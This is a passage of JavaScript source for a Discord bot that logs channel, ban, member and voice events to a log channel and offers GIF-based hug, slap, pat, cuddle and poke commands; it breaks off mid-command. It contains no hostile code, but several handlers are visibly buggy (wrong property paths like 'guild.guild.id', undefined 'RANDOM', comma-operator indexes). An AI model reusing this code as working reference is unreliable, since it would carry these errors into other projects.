6861 if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6862 if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6863 if(!log[channel.guild.id]) log[channel.guild.id] = {
6864 onoff: 'Off'
6865 }
6866 if(log[channel.guild.id].onoff === 'Off') return;
6867 var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
6868 if(!logChannel) return;
6869
6870 if(channel.type === 'text') {
6871 var roomType = 'Text';
6872 }else
6873 if(channel.type === 'voice') {
6874 var roomType = 'Voice';
6875 }else
6876 if(channel.type === 'category') {
6877 var roomType = 'Category';
6878 }
6879
6880 channel.guild.fetchAuditLogs().then(logs => {
6881 var userID = logs.entries.first().executor.id;
6882 var userAvatar = logs.entries.first().executor.avatarURL;
6883
6884 let channelCreate = new Discord.RichEmbed()
6885 .setTitle('**[CHANNEL CREATE]**')
6886 .setThumbnail(userAvatar)
6887 .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
6888 .setColor('GREEN')
6889 .setTimestamp()
6890 .setFooter(channel.guild.name, channel.guild.iconURL)
6891
6892 logChannel.send(channelCreate);
6893 })
6894});
6895client.on('channelDelete', channel => {
6896 if(!channel.guild) return;
6897 if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6898 if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6899 if(!log[channel.guild.id]) log[channel.guild.id] = {
6900 onoff: 'Off'
6901 }
6902 if(log[channel.guild.id].onoff === 'Off') return;
6903 var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
6904 if(!logChannel) return;
6905
6906 if(channel.type === 'text') {
6907 var roomType = 'Text';
6908 }else
6909 if(channel.type === 'voice') {
6910 var roomType = 'Voice';
6911 }else
6912 if(channel.type === 'category') {
6913 var roomType = 'Category';
6914 }
6915
6916 channel.guild.fetchAuditLogs().then(logs => {
6917 var userID = logs.entries.first().executor.id;
6918 var userAvatar = logs.entries.first().executor.avatarURL;
6919
6920 let channelDelete = new Discord.RichEmbed()
6921 .setTitle('**[CHANNEL DELETE]**')
6922 .setThumbnail(userAvatar)
6923 .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
6924 .setColor('RED')
6925 .setTimestamp()
6926 .setFooter(channel.guild.name, channel.guild.iconURL)
6927
6928 logChannel.send(channelDelete);
6929 })
6930});
6931client.on('channelUpdate', (oldChannel, newChannel) => {
6932 if(!oldChannel.guild) return;
6933 if(!log[oldChannel.guild.id]) log[oldChannel.guild.id] = {
6934 onoff: 'Off'
6935 }
6936 if(log[oldChannel.guild.id].onoff === 'Off') return;
6937 var logChannel = oldChannel.guild.channels.find(c => c.name === `${log[oldChannel.guild.id].channel}`);
6938 if(!logChannel) return;
6939
6940 if(oldChannel.type === 'text') {
6941 var channelType = 'Text';
6942 }else
6943 if(oldChannel.type === 'voice') {
6944 var channelType = 'Voice';
6945 }else
6946 if(oldChannel.type === 'category') {
6947 var channelType = 'Category';
6948 }
6949
6950 oldChannel.guild.fetchAuditLogs().then(logs => {
6951 var userID = logs.entries.first().executor.id;
6952 var userAvatar = logs.entries.first().executor.avatarURL;
6953
6954 if(oldChannel.name !== newChannel.name) {
6955 let newName = new Discord.RichEmbed()
6956 .setTitle('**[CHANNEL EDIT]**')
6957 .setThumbnail(userAvatar)
6958 .setColor('BLUE')
6959 .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Name\n\n**Old Name:** \`\`${oldChannel.name}\`\`\n**New Name:** \`\`${newChannel.name}\`\`\n**Channel ID:** ${oldChannel.id}\n**By:** <@${userID}> (ID: ${userID})`)
6960 .setTimestamp()
6961 .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
6962
6963 logChannel.send(newName);
6964 }
6965 if(oldChannel.topic !== newChannel.topic) {
6966 if(log[oldChannel.guild.id].onoff === 'Off') return;
6967 let newTopic = new Discord.RichEmbed()
6968 .setTitle('**[CHANNEL EDIT]**')
6969 .setThumbnail(userAvatar)
6970 .setColor('BLUE')
6971 .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Topic\n\n**Old Topic:**\n\`\`\`${oldChannel.topic || 'NULL'}\`\`\`\n**New Topic:**\n\`\`\`${newChannel.topic || 'NULL'}\`\`\`\n**Channel:** ${oldChannel} (ID: ${oldChannel.id})\n**By:** <@${userID}> (ID: ${userID})`)
6972 .setTimestamp()
6973 .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
6974
6975 logChannel.send(newTopic);
6976 }
6977 })
6978});
6979
6980
6981client.on('guildBanAdd', (guild, user) => {
6982
6983 if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6984 if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6985 if(!log[user.guild.id]) log[guild.guild.id] = {
6986 onoff: 'Off'
6987 }
6988 if(log[user.guild.id].onoff === 'Off') return;
6989 var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
6990 if(!logChannel) return;
6991
6992 guild.fetchAuditLogs().then(logs => {
6993 var userID = logs.entries.first().executor.id;
6994 var userAvatar = logs.entries.first().executor.avatarURL;
6995
6996 if(userID === client.user.id) return;
6997
6998 let banInfo = new Discord.RichEmbed()
6999 .setTitle('**[BANNED]**')
7000 .setThumbnail(userAvatar)
7001 .setColor('DARK_RED')
7002 .setDescription(`**\n**:airplane: Successfully \`\`BANNED\`\` **${user.username}** From the server!\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
7003 .setTimestamp()
7004 .setFooter(guild.name, guild.iconURL)
7005
7006 logChannel.send(banInfo);
7007 })
7008});
7009client.on('guildBanRemove', (guild, user) => {
7010 if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
7011 if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
7012 if(!log[guild.guild.id]) log[guild.guild.id] = {
7013 onoff: 'Off'
7014 }
7015 if(log[guild.guild.id].onoff === 'Off') return;
7016 var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
7017 if(!logChannel) return;
7018
7019 guild.fetchAuditLogs().then(logs => {
7020 var userID = logs.entries.first().executor.id;
7021 var userAvatar = logs.entries.first().executor.avatarURL;
7022
7023 if(userID === client.user.id) return;
7024
7025 let unBanInfo = new Discord.RichEmbed()
7026 .setTitle('**[UNBANNED]**')
7027 .setThumbnail(userAvatar)
7028 .setColor('GREEN')
7029 .setDescription(`**\n**:unlock: Successfully \`\`UNBANNED\`\` **${user.username}** From the server\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
7030 .setTimestamp()
7031 .setFooter(guild.name, guild.iconURL)
7032
7033 logChannel.send(unBanInfo);
7034 })
7035});
7036
7037client.on('guildMemberUpdate', (oldMember, newMember) => {
7038 if(!oldMember.guild) return;
7039 if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
7040 onoff: 'Off'
7041 }
7042 if(log[oldMember.guild.id].onoff === 'Off') return;
7043 var logChannel = oldMember.guild.channels.find(c => c.name === `${log[oldMember, newMember.guild.id].channel}`);
7044 if(!logChannel) return;
7045
7046 oldMember.guild.fetchAuditLogs().then(logs => {
7047 var userID = logs.entries.first().executor.id;
7048 var userAvatar = logs.entries.first().executor.avatarURL;
7049 var userTag = logs.entries.first().executor.tag;
7050
7051 if(oldMember.nickname !== newMember.nickname) {
7052 if(oldMember.nickname === null) {
7053 var oldNM = '`His Orginal Name`';
7054 }else {
7055 var oldNM = oldMember.nickname;
7056 }
7057 if(newMember.nickname === null) {
7058 var newNM = '`His Orginal Name`';
7059 }else {
7060 var newNM = newMember.nickname;
7061 }
7062
7063 let updateNickname = new Discord.RichEmbed()
7064 .setTitle('**[UPDATE MEMBER NICKNAME]**')
7065 .setThumbnail(userAvatar)
7066 .setColor('BLUE')
7067 .setDescription(`**\n**:spy: Successfully \`\`CHANGE\`\` Member Nickname.\n\n**User:** ${oldMember} (ID: ${oldMember.id})\n**Old Nickname:** ${oldNM}\n**New Nickname:** ${newNM}\n**By:** <@${userID}> (ID: ${userID})`)
7068 .setTimestamp()
7069 .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
7070
7071 logChannel.send(updateNickname);
7072 }
7073 if(oldMember.roles.size < newMember.roles.size) {
7074 let role = newMember.roles.filter(r => !oldMember.roles.has(r.id)).first();
7075 if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
7076 onoff: 'Off'
7077 }
7078 if(log[oldMember.guild.id].onoff === 'Off') return;
7079 let roleAdded = new Discord.RichEmbed()
7080 .setTitle('**[ADDED ROLE TO MEMBER]**')
7081 .setThumbnail(oldMember.guild.iconURL)
7082 .setColor('GREEN')
7083 .setDescription(`**\n**:white_check_mark: Successfully \`\`ADDED\`\` Role to **${oldMember.user.username}**\n\n**User:** <@${oldMember.id}> (ID: ${oldMember.user.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
7084 .setTimestamp()
7085 .setFooter(userTag, userAvatar)
7086
7087 logChannel.send(roleAdded);
7088 }
7089 if(oldMember.roles.size > newMember.roles.size) {
7090 let role = oldMember.roles.filter(r => !newMember.roles.has(r.id)).first();
7091 if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
7092 onoff: 'Off'
7093 }
7094 if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
7095 let roleRemoved = new Discord.RichEmbed()
7096 .setTitle('**[REMOVED ROLE FROM MEMBER]**')
7097 .setThumbnail(oldMember.guild.iconURL)
7098 .setColor('RED')
7099 .setDescription(`**\n**:negative_squared_cross_mark: Successfully \`\`REMOVED\`\` Role from **${oldMember.user.username}**\n\n**User:** <@${oldMember.user.id}> (ID: ${oldMember.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
7100 .setTimestamp()
7101 .setFooter(userTag, userAvatar)
7102
7103 logChannel.send(roleRemoved);
7104 }
7105 })
7106 if(oldMember.guild.owner.id !== newMember.guild.owner.id) {
7107 if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
7108 onoff: 'Off'
7109 }
7110 if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
7111 let newOwner = new Discord.RichEmbed()
7112 .setTitle('**[UPDATE GUILD OWNER]**')
7113 .setThumbnail(oldMember.guild.iconURL)
7114 .setColor('GREEN')
7115 .setDescription(`**\n**:white_check_mark: Successfully \`\`TRANSFER\`\` The Owner Ship.\n\n**Old Owner:** <@${oldMember.user.id}> (ID: ${oldMember.user.id})\n**New Owner:** <@${newMember.user.id}> (ID: ${newMember.user.id})`)
7116 .setTimestamp()
7117 .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
7118
7119 logChannel.send(newOwner);
7120 }
7121});
7122
7123
7124client.on('voiceStateUpdate', (voiceOld, voiceNew) => {
7125
7126 if(!voiceOld.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
7127 if(!voiceOld.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
7128 if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
7129 onoff: 'Off'
7130 }
7131 if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
7132 var logChannel = voiceOld.guild.channels.find(c => c.name === `${log[voiceOld, voiceNew.guild.id].channel}`);
7133 if(!logChannel) return;
7134
7135 voiceOld.guild.fetchAuditLogs().then(logs => {
7136 var userID = logs.entries.first().executor.id;
7137 var userTag = logs.entries.first().executor.tag;
7138 var userAvatar = logs.entries.first().executor.avatarURL;
7139
7140 if(voiceOld.serverMute === false && voiceNew.serverMute === true) {
7141 let serverMutev = new Discord.RichEmbed()
7142 .setTitle('**[VOICE MUTE]**')
7143 .setThumbnail('https://images-ext-1.discordapp.net/external/pWQaw076OHwVIFZyeFoLXvweo0T_fDz6U5C9RBlw_fQ/https/cdn.pg.sa/UosmjqDNgS.png')
7144 .setColor('RED')
7145 .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
7146 .setTimestamp()
7147 .setFooter(userTag, userAvatar)
7148
7149 logChannel.send(serverMutev);
7150 }
7151 if(voiceOld.serverMute === true && voiceNew.serverMute === false) {
7152 if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
7153 onoff: 'Off'
7154 }
7155 if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
7156 let serverUnmutev = new Discord.RichEmbed()
7157 .setTitle('**[VOICE UNMUTE]**')
7158 .setThumbnail('https://images-ext-1.discordapp.net/external/u2JNOTOc1IVJGEb1uCKRdQHXIj5-r8aHa3tSap6SjqM/https/cdn.pg.sa/Iy4t8H4T7n.png')
7159 .setColor('GREEN')
7160 .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
7161 .setTimestamp()
7162 .setFooter(userTag, userAvatar)
7163
7164 logChannel.send(serverUnmutev);
7165 }
7166 if(voiceOld.serverDeaf === false && voiceNew.serverDeaf === true) {
7167 if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
7168 onoff: 'Off'
7169 }
7170 if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
7171 let serverDeafv = new Discord.RichEmbed()
7172 .setTitle('**[VOICE DEAF]**')
7173 .setThumbnail('https://images-ext-1.discordapp.net/external/7ENt2ldbD-3L3wRoDBhKHb9FfImkjFxYR6DbLYRjhjA/https/cdn.pg.sa/auWd5b95AV.png')
7174 .setColor('RED')
7175 .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
7176 .setTimestamp()
7177 .setFooter(userTag, userAvatar)
7178
7179 logChannel.send(serverDeafv);
7180 }
7181 if(voiceOld.serverDeaf === true && voiceNew.serverDeaf === false) {
7182 if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
7183 onoff: 'Off'
7184 }
7185 if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
7186 let serverUndeafv = new Discord.RichEmbed()
7187 .setTitle('**[VOICE UNDEAF]**')
7188 .setThumbnail('https://images-ext-2.discordapp.net/external/s_abcfAlNdxl3uYVXnA2evSKBTpU6Ou3oimkejx3fiQ/https/cdn.pg.sa/i7fC8qnbRF.png')
7189 .setColor('GREEN')
7190 .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
7191 .setTimestamp()
7192 .setFooter(userTag, userAvatar)
7193
7194 logChannel.send(serverUndeafv);
7195 }
7196 })
7197
7198 if(voiceOld.voiceChannelID !== voiceNew.voiceChannelID && voiceNew.voiceChannel && voiceOld.voiceChannel != null) {
7199 if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
7200 onoff: 'Off'
7201 }
7202 if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
7203 let voiceLeave = new Discord.RichEmbed()
7204 .setTitle('**[CHANGED VOICE ROOM]**')
7205 .setColor('GREEN')
7206 .setThumbnail(voiceOld.user.avatarURL)
7207 .setDescription(`**\n**:repeat: Successfully \`\`CHANGED\`\` The Voice Channel.\n\n**From:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannelID})\n**To:** \`\`${voiceNew.voiceChannel.name}\`\` (ID: ${voiceNew.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`)
7208 .setTimestamp()
7209 .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL)
7210
7211 logChannel.send(voiceLeave);
7212 }
7213});
7214
7215
7216
7217
7218client.on("message", message => {
7219 if (message.author.bot) return;
7220 if (!message.channel.guild) return;
7221 if (!games[message.author.id]) games[message.author.id] = {
7222 credits: 100,
7223 level: 1,
7224 };
7225fs.writeFile('./games.json', JSON.stringify(games), (err) => {
7226if (err) console.error(err);
7227});
7228});
7229
7230
7231
7232
7233
7234client.on("message", message => {
7235 if (message.author.bot) return;
7236 if (message.author.id === client.user.id) return;
7237 if(!message.channel.guild) return;
7238if(!dataPro[message.author.id]) {
7239 dataPro[message.author.id] = {
7240 ai: false,
7241 wallSrc: './Screenshot_٢٠١٨-٠٨-٢��-٢٠-٠٥-٤٨-1-1.png' ,
7242 walls: {}
7243 };
7244 }
7245fs.writeFile('./walls.json', JSON.stringify(dataPro), (err) => {
7246if (err) console.error(err);
7247});
7248});
7249
7250
7251
7252///hug
7253client.on('message', message => {
7254 if(message.content.startsWith(prefix + 'hug')) {
7255 let args = message.content.split(" ").slice(1);
7256 let hug = [
7257 "https://78.media.tumblr.com/28e86413485a973ae859a745a7a5382e/tumblr_o1hf0uK2NL1uapp8co1_500.gif",
7258 "https://78.media.tumblr.com/18fdf4adcb5ad89f5469a91e860f80ba/tumblr_oltayyHynP1sy5k7wo1_500.gif",
7259 "https://78.media.tumblr.com/e790af0168cd80394b7d792dde07407b/tumblr_o76qfcMiFn1sk1rjvo1_500.gif",
7260 "https://78.media.tumblr.com/350c512200d6cbb6506774f2cddc9641/tumblr_ooonx9vM691qzxv73o1_500.gif",
7261 "https://78.media.tumblr.com/5dfb67d0a674fe5f81950478f5b2d4ed/tumblr_ofd4e2h8O81ub9qlao1_500.gif",
7262 "https://78.media.tumblr.com/21f89b12419bda49ce8ee33d50f01f85/tumblr_o5u9l1rBqg1ttmhcxo1_500.gif",
7263 "https://78.media.tumblr.com/ebc214f892af851ffd7297e0e6212cdb/tumblr_o2kwkfyzT01uprh6zo1_500.gif",
7264 "https://78.media.tumblr.com/5fa89acc3637b84a29c6f528c1727135/tumblr_o3kyyxj5nF1unech7o1_500.gif",
7265 "https://78.media.tumblr.com/443c4235cae34242d014e2bb1276810d/tumblr_orldmdZJ2x1vb10byo1_500.gif",
7266 "https://78.media.tumblr.com/b8ce553824c59700049256fbc825390b/tumblr_ojf72iRAty1v312ebo1_500.gif",
7267 "https://78.media.tumblr.com/2fe074ad467af41a8230b8d9d8e322f1/tumblr_omvj49wYnq1v8tshbo1_500.gif",
7268 "https://78.media.tumblr.com/9956a4b53345e4031faccf8174cadb68/tumblr_ozy26yVcBu1ql0375o1_500.gif",
7269 "https://78.media.tumblr.com/14f5e0c6ef88280f75017987302a7dad/tumblr_o31a2iJsCw1uprh6zo1_500.gif",
7270 "https://78.media.tumblr.com/5e2130af66f9c548059c6452d1b55e03/tumblr_p8zuex4xZo1qzxv73o1_500.gif",
7271 "https://i.gifer.com/8WPN.mp4",
7272 "https://i.gifer.com/GAMC.gif",
7273 ]
7274 let hugresult = Math.floor((Math.random() * hug.length));
7275 if (!args[0]) {
7276 const ghembed = new Discord.RichEmbed()
7277 .setColor("RANDOM")
7278 .setTitle(`${message.author.username} Sorry to see you alone...`)
7279 .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
7280 message.channel.send({
7281 embed: ghembed
7282 })
7283 return;
7284 }
7285 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7286 const hembed = new Discord.RichEmbed()
7287 .setColor("RANDOM")
7288 .setTitle(`${message.mentions.members.first().user.username} you have been hugged by ${message.author.username}`)
7289 .setImage(hug[hugresult])
7290 message.channel.send({
7291 embed: hembed
7292 })
7293 return;
7294 }
7295 const ghembed = new Discord.RichEmbed()
7296 .setColor('RANDOM')
7297 .setTitle(`${message.author.username} Sorry to see you alone...`)
7298 .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
7299 message.channel.send({
7300 embed: ghembed
7301 })
7302}
7303});
7304///end
7305
7306
7307///end
7308
7309///slap
7310client.on('message', message => {
7311 if(message.content.startsWith(prefix + 'slap')) {
7312 let args = message.content.split(" ").slice(1);
7313 let hug = [
7314 "https://cdn.discordapp.com/attachments/466949822604247044/467005787189805066/Slap_6.gif",
7315 "https://cdn.discordapp.com/attachments/466949822604247044/467005776880336896/Slap_9.gif",
7316 "https://cdn.discordapp.com/attachments/466949822604247044/467005776515563520/Slap_11.gif",
7317 "https://cdn.discordapp.com/attachments/466949822604247044/467005770114793492/Slap_8.gif",
7318 "https://cdn.discordapp.com/attachments/466949822604247044/467005766608486431/Slap_12.gif",
7319 "https://cdn.discordapp.com/attachments/466949822604247044/467005763814948864/Slap_13.gif",
7320 "https://cdn.discordapp.com/attachments/466949822604247044/467005759167791106/Slap_14.gif",
7321 "https://cdn.discordapp.com/attachments/466949822604247044/467005741694451713/Slap_5.gif",
7322 "https://cdn.discordapp.com/attachments/466949822604247044/467005741216169984/Slap_2.gif",
7323 "https://cdn.discordapp.com/attachments/466949822604247044/467005739530190865/Slap_4.gif",
7324 "https://cdn.discordapp.com/attachments/466949822604247044/467005740603801600/Slap_1.gif",
7325 "https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif",
7326 "https://cdn.discordapp.com/attachments/466949822604247044/467005734412877854/Slap.gif",
7327 "https://cdn.discordapp.com/attachments/466949822604247044/466953715039993856/staph_it.gif",
7328 "https://cdn.discordapp.com/attachments/466949822604247044/466951859148554260/nu.gif",
7329 "https://media0.giphy.com/media/fO6UtDy5pWYwM/giphy.gif",
7330 ]
7331 let hugresult = Math.floor((Math.random() * hug.length));
7332 if (!args[0]) {
7333 const ghembed = new Discord.RichEmbed()
7334 .setColor("RANDOM")
7335 .setTitle(``)
7336 .setImage('')
7337 message.channel.send({
7338 embed: ghembed
7339 })
7340 return;
7341 }
7342 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7343 const hembed = new Discord.RichEmbed()
7344 .setColor("RANDOM")
7345 .setTitle(`${message.mentions.members.first().user.username} you have been slapped by ${message.author.username}`)
7346 .setImage(hug[hugresult])
7347 message.channel.send({
7348 embed: hembed
7349 })
7350 return;
7351 }
7352 const ghembed = new Discord.RichEmbed()
7353 .setColor(RANDOM)
7354 .setTitle(``)
7355 .setImage('')
7356 message.channel.send({
7357 embed: ghembed
7358 })
7359}
7360});
7361///end
7362
7363///pat
7364client.on('message', message => {
7365 if(message.content.startsWith(prefix + 'pat')) {
7366 let args = message.content.split(" ").slice(1);
7367 let hug = [
7368 "https://cdn.discordapp.com/attachments/466949822604247044/467186871290822657/pat-B1SOzCV0W.gif",
7369 "https://cdn.discordapp.com/attachments/466949822604247044/466954354927337472/26d886c039e5f438d36c22964f1e79d0.gif",
7370 "https://cdn.discordapp.com/attachments/466949822604247044/466952080750280724/tenor.gif",
7371 "https://cdn.discordapp.com/attachments/466949822604247044/466951974726664192/1506871682_tumblr_o925gmua611uhpv9wo1_540.gif",
7372 "https://cdn.discordapp.com/attachments/466949822604247044/466951961439109130/pets.gif",
7373 "https://cdn.discordapp.com/attachments/466949822604247044/466951936873201664/tenor-1.gif",
7374 "https://media2.giphy.com/media/109ltuoSQT212w/giphy.gif",
7375 "https://media3.giphy.com/media/ye7OTQgwmVuVy/giphy.gif",
7376 "https://media1.giphy.com/media/ARSp9T7wwxNcs/giphy.gif",
7377 "https://media2.giphy.com/media/aPOuFhSOoeoAo/giphy.gif",
7378 "https://media0.giphy.com/media/L2z7dnOduqEow/giphy.gif",
7379 "https://media0.giphy.com/media/X9MUeQelKifU4/giphy.gif",
7380 "https://media.giphy.com/media/4HP0ddZnNVvKU/giphy.gif",
7381 "https://media1.giphy.com/media/e7xQm1dtF9Zni/giphy.gif",
7382 "https://78.media.tumblr.com/6d55745d63a3829693ce68a71ddbd218/tumblr_ox5dckEwTQ1rupogao1_500.gif",
7383 "https://78.media.tumblr.com/59074e59e5563e15623216e3e33cd259/tumblr_ojt62uIuDB1vztiw8o1_500.gif",
7384 ]
7385 let hugresult = Math.floor((Math.random() * hug.length));
7386 if (!args[0]) {
7387 const ghembed = new Discord.RichEmbed()
7388 .setColor("RANDOM")
7389 .setTitle(``)
7390 .setImage('')
7391 message.channel.send({
7392 embed: ghembed
7393 })
7394 return;
7395 }
7396 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7397 const hembed = new Discord.RichEmbed()
7398 .setColor("RANDOM")
7399 .setTitle(`${message.mentions.members.first().user.username} you have been patted by ${message.author.username}`)
7400 .setImage(hug[hugresult])
7401 message.channel.send({
7402 embed: hembed
7403 })
7404 return;
7405 }
7406 const ghembed = new Discord.RichEmbed()
7407 .setColor(RANDOM)
7408 .setTitle(``)
7409 .setImage('')
7410 message.channel.send({
7411 embed: ghembed
7412 })
7413}
7414});
7415///end
7416
7417///cuddle
7418client.on('message', message => {
7419 if(message.content.startsWith(prefix + 'cuddle')) {
7420 let args = message.content.split(" ").slice(1);
7421 let hug = [
7422 "https://cdn.discordapp.com/attachments/466949822604247044/467005578548346900/Cuddle6.gif",
7423 "https://cdn.discordapp.com/attachments/466949822604247044/467005575511932928/Cuddle7.gif",
7424 "https://cdn.discordapp.com/attachments/466949822604247044/467005570692677645/Cuddle4.gif",
7425 "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
7426 "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
7427 "https://i.imgur.com/IrY5w46.gif",
7428 "https://i.imgur.com/lGeXeTQ.gif",
7429 "https://i.imgur.com/0AaS08b.gif",
7430 "https://cdn.discordapp.com/attachments/347377586017665027/467497200792895498/cuddle-rkA6SU7w-.gif",
7431 "https://cdn.discordapp.com/attachments/467499708068265994/467499871138611204/cuddle-rylgIUmPW.gif",
7432 "https://cdn.discordapp.com/attachments/467499708068265994/467500001669545985/cuddle-HkUlIUXDZ.gif",
7433 "https://cdn.discordapp.com/attachments/467499708068265994/467500500821213194/cuddle-ryURHLXP-.gif",
7434 "https://cdn.discordapp.com/attachments/467499708068265994/467500585667788812/cuddle-r1Q0HImPZ.gif",
7435 "https://cdn.discordapp.com/attachments/467499708068265994/467500675098607618/cuddle-rk2-UL7PW.gif",
7436 "https://cdn.discordapp.com/attachments/467499708068265994/467501362322604035/cuddle-rJ6zAkc1f.gif",
7437 "https://cdn.discordapp.com/attachments/467499708068265994/467501503813386242/cuddle-r1s9RqB7G.gif",
7438 ]
7439 let hugresult = Math.floor((Math.random() * hug.length));
7440 if (!args[0]) {
7441 const ghembed = new Discord.RichEmbed()
7442 .setColor("RANDOM")
7443 .setTitle(`${message.author.username} Sorry to see you alone...`)
7444 .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
7445 message.channel.send({
7446 embed: ghembed
7447 })
7448 return;
7449 }
7450 if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
7451 const hembed = new Discord.RichEmbed()
7452 .setColor("RANDOM")
7453 .setTitle(`${message.mentions.members.first().user.username} you have been cuddled by ${message.author.username}`)
7454 .setImage(hug[hugresult])
7455 message.channel.send({
7456 embed: hembed
7457 })
7458 return;
7459 }
7460 const ghembed = new Discord.RichEmbed()
7461 .setColor(RANDOM)
7462 .setTitle(`${message.author.username} Sorry to see you alone...`)
7463 .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
7464 message.channel.send({
7465 embed: ghembed
7466 })
7467}
7468});
7469///end
7470
7471///poke
7472client.on('message', message => {
7473 if(message.content.startsWith(prefix + 'poke')) {
7474 let args = message.content.split(" ").slice(1);
7475 let hug = [
7476 "https://cdn.discordapp.com/attachments/467499708068265994/467507303432585227/poke-rJzUe1FwZ.gif",
7477 "https://cdn.discordapp.com/attachments/467499708068265994/467509021793058857/poke-B14SJlTQG.gif",
7478 "https://cdn.discordapp.com/attachments/467499708068265994/467509321412902922/poke-HJZpLxkKDb.gif",
7479 "https://cdn.discordapp.com/attachments/467499708068265994/467509460458405888/poke-SydLxJFwW.gif",
7480 "https://cdn.discordapp.com/attachments/467499708068265994/467509552024256515/poke-BJhIekKwb.gif",
7481 "https://cdn.discordapp.com/attachments/467499708068265994/467509933626097674/poke-B1oSgytwW.gif",
7482 "https://cdn.discordapp.com/attachments/467499708068265994/467509931084480522/poke-r1v6xoh0Z.gif",
7483 "https://cdn.discordapp.com/attachments/467499708068265994/467509944338481152/poke-H1fMRpYtb.gif",
7484 "https://cdn.discordapp.com/attachments/467499708068265994/467509925052940288/poke-rkB8eJYPZ.gif",
7485 "https://cdn.discordapp.com/attachments/467499708068265994/467511056240082954/poke-rJ0hlsnR-.gif",
7486 "https://cdn.discordapp.com/attachments/467499708068265994/467511147927699474/poke-H1x2HxyYD-.gif",
7487 "https://cdn.weeb.sh/images/rkeaUeJKD-.gif",
7488 "https://cdn.weeb.sh/images/HkxwlkKPb.gif",
7489 "https://cdn.weeb.sh/images/SyQzRaFFb.gif",
7490 "https://cdn.weeb.sh/images/rkaUe1YPb.gif",
7491 "https://cdn.weeb.sh/images/BkcSekKwb.gif",
7492 ]
7493 let hugresult = Math.floor((Math.random() * hug.length));
7494 if (!args[0]) {
7495 const ghembed = new Discord.RichEmbed()
7496 .setColor("RANDOM")
